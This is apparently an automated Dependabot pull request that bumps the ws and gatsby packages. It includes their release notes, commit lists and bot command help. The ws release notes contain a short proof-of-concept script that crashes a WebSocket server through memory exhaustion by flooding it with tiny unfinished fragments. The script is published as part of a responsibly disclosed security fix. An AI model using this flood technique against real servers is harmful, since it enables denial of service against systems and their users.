chore(deps): bump ws and gatsby

[dependabot]

Bumps ws to 8.21.0 and updates ancestor dependency gatsby. These dependencies need to be updated together.

Updates ws from 8.17.0 to 8.21.0

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• 5d9b316 [dist] 8.20.1
• c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
• ce2a3d6 [ci] Test on node 26
• 58e45b8 [ci] Do not test on node 25
• 5f26c24 [ci] Run the lint step on node 24
• 8439255 [dist] 8.20.0
• d3503c1 [minor] Export the PerMessageDeflate class and header utils
• Additional commits viewable in compare view

Updates gatsby from 5.14.0 to 5.16.1

Release notes

Sourced from gatsby's releases.

gatsby@5.16.1

What's Changed

• Fix various regressions with Gatsby Head API, such as <title> not updating document.title by @​serhalp and @​pieh in gatsbyjs/gatsby#39382

Full Changelog: https://github.com/gatsbyjs/gatsby/compare/gatsby@5.16.0...gatsby@5.16.1

gatsby@5.16.0

What's Changed

• feat: support React 19 by @​serhalp in gatsbyjs/gatsby#39306
• feat: support Node.js 24 by @​serhalp in gatsbyjs/gatsby#39380 and gatsbyjs/gatsby#39398
• fix(deps): bump body-parser to resolve qs vulnerability warning by @​serhalp in gatsbyjs/gatsby#39396
• chore(docs,starters): remove misc. outdated, invalid, or misleading instructions by @​serhalp in gatsbyjs/gatsby#39363

React 19

[!NOTE] 🔐 As of January 26 2026, none of the React 19 security vulnerabilities affect Gatsby.

🚀 React 19 is here!

React 19 is now officially supported by Gatsby and all gatsby- packages maintained by the Gatsby team.

This is not a breaking change. You can safely upgrade to this release while staying on React 18.

All packages' peer dependencies on react and react-dom have been extended from ^18.0.0 to ^18.0.0 || ^19.0.0.

All existing stable Gatsby functionality is intended to now work with React 19.

PR: gatsbyjs/gatsby#39306

Upgrade Guide

[!WARNING] Community plugins may not have been updated yet to support React 19, so please check their repository for the current status. All plugins managed by the Gatsby team (in the gatsbyjs/gatsby repository) have been updated.

To upgrade to React 19, first upgrade gatsby and all your dependencies that start with gatsby- to the latest version. (Check out this guide if you need help with that.)

[!TIP] If you use npm 7 or higher you’ll want to use the --legacy-peer-deps option. For example, if you use gatsby and gatsby-plugin-postcss:

npm install --legacy-peer-deps gatsby@latest gatsby-plugin-postcss@latest

Then, follow the React 19 upgrade guide. No other changes are required.

Please note:

... (truncated)

Commits

• 81c3b47 chore(release): Publish
• 2023c31 fix: ensure inserting \<title> in \<head> updates document.title (#39382)
• 92d6c67 chore(release): Publish
• 3539ec8 Revert "chore(release): Publish next pre-minor"
• c355640 fix: use more explicit node.js version range (#39398)
• a1da58d ci: fix adapters e2e test (#39403)
• 2569b3a fix(deps): bump body-parser to resolve qs vulnerability warning (#39396)
• aea34d8 chore(release): Publish next pre-minor
• 9e39c05 feat: support React 19 (#39306)
• b131464 ci: clean up e2e debug tooling (#39374)
• Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
  You can disable automated security fix PRs for this repo from the Security Alerts page.